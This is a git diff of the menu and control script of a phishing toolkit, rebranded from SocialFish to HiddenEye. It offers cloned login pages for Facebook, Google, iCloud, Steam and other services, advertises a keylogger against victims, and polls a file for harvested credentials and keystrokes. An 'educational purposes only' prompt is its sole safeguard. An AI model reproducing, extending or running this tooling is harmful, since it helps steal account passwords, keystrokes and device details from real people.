diff --git a/Defs/Actions.py b/Defs/Actions.py index d16ee61..69f015f 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -71,7 +71,7 @@ def runPhishing(page , customOption): #Phishing pages selection menu def selectServer(): #Question where user must select server print("\n {0}Please select any available server:{1}".format(RED, DEFAULT)) print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(RED, DEFAULT)) - choice = input(" \n {0}SocialFish>>> {1}".format(RED, DEFAULT)) + choice = input(" \n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) if choice == '1': runNgrok() elif choice == '2': @@ -117,38 +117,41 @@ def runMainMenu(): #menu where user select what they wanna use {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ ██ {1}|| {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ ███████ {1}|| || || + ----------------------------------------------------------------------------- + v{3}0{1}.{3}1{1}.{3}0{1} BY:DARKSEC{2} + {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ] + {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY KEYSTROKE ] <=============================================================================> - v{3}0{1}.{3}1{1}.{3}0{1} by Open Source Community{2} + '''.format(GREEN, DEFAULT, CYAN, RED)) - _________________________________________________________________________________ - {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ] - {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY KEYSTROKE ] - _________________________________________________________________________________ - {1}'''.format(GREEN, DEFAULT, CYAN, RED)) + - for i in range(101): - sleep(0.01) - stdout.write("\r{0}[{1}*{0}]{1} Preparing environment... %d%%".format(RED, DEFAULT) % i) - stdout.flush() - - print ("\n\n{0}[{1}*{0}]{1} Searching for PHP installation... ".format(RED, DEFAULT)) + if 256 != system('which php'): #Checking if user have PHP - print (" --{0}>{1} OK.".format(CYAN, DEFAULT)) + print (" -----------------------".format(CYAN, DEFAULT)) + print ("[PHP INSTALLATION FOUND]".format(CYAN, DEFAULT)) + print (" -----------------------".format(CYAN, DEFAULT)) else: print (" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again.http://www.php.net/".format(CYAN, DEFAULT)) exit(0) - if input(" {2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n {2}HiddenEye >>> {1}".format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes + + for i in range(101): + sleep(0.05) + stdout.write("\r{0}[{1}*{0}]{1} Eye is Opening. Please Wait... %d%%".format(RED, DEFAULT) % i) + stdout.flush() + + if input("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye>>> {1}".format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes system('clear') - print ('\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL. GOOD BYE!{1} ]\n'.format(CYAN, DEFAULT)) + print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT)) exit(0) - option = input("\nSelect an option:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON !\n\n {0}HiddenEye >>> {1}".format(RED, DEFAULT)) + option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) if option == '1': loadModule('Facebook') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED !\n\n {0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) runPhishing('Facebook', customOption) elif option == '2': loadModule('Google') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED !\n\n {0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) runPhishing('Google', customOption) elif option == '3': loadModule('LinkedIn') @@ -172,7 +175,7 @@ def runMainMenu(): #menu where user select what they wanna use runPhishing('Twitter', customOption) elif option == '8': loadModule('Instagram') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n {0}[{1}------------->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED ! \n\n {0}HIddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) runPhishing('Instagram', customOption) elif option == '9': loadModule('Snapchat') @@ -196,7 +199,7 @@ def runMainMenu(): #menu where user select what they wanna use runPhishing('Steam', customOption) elif option == '14': loadModule('VK') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}------------->{0}]{1} More Phising Scripts COMMING SOON !\n\n {0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) runPhishing('VK', customOption) elif option == '15': loadModule('iCloud') @@ -210,8 +213,10 @@ def loadModule(module): #This one just show text.. [{1}*{0}] module loaded. Building site...{0}'''.format(RED, DEFAULT)) def inputCustom(): #Question where user can input custom web-link + print("\n (Choose Wisely As Your Victim Will Redirect to This Link)".format(RED, DEFAULT)) + print("\n (Leave Blank To Loop The Phishing Page)".format(RED, DEFAULT)) print("\n {0}Insert a custom redirect url:".format(RED, DEFAULT)) - custom = input("\n {0}HiddenEye >>> {1}".format(RED, DEFAULT)) + custom = input("\n {0}CUSTOM URL>>> {1}".format(RED, DEFAULT)) if 'http://' or 'https://' in custom: pass else: @@ -251,21 +256,15 @@ def endMessage(): #Message when SocialFish exit \=========={3}\=====/{1}==========> ````~~~~=======~~~~```` - {3}HIDDEN EYE {1}v{3}0{1}.{3}1 - {0}NOW WITH LIVE VICTIM ATTACK INFORMATION ] - {0}A KEYLOGGER IS DEPLOYED FOR YOU, TO CAPTURE EVERY KEYSTROKE ] - [ {0} Some more phising pages have been added in script. For a better Attack] -[ {0} Welcome to HIDDEN EYE V0.1\n {1}'''.format(GREEN, DEFAULT, CYAN, RED)) + {3}HIDDEN EYE {3}BY: DARKSEC TEAM + {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL + {3}https://github.com/DarkSecDevelopers '''.format(GREEN, DEFAULT, CYAN, RED)) def getCredentials(): - print("{0}[{1}*{0}]{1}Everything has been completed..............".format(RED, DEFAULT)) - - print('''{0} - - [{1}*{0}]{1} WE HAVE ALSO DEPLOYED A KEYLOGGER. . - [{1}*{0}]{1} YOU WILL GET VICTIM'S DEVICES INFO.{0}'''.format(RED, DEFAULT)) - - print(" {0}[{1}*{0}]{1} Waiting for credentials//Pressed keys//Victim's device info... \n".format(RED, DEFAULT)) + + + + print("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n".format(CYAN, DEFAULT)) while True: with open('Server/www/usernames.txt') as creds: lines = creds.read().rstrip()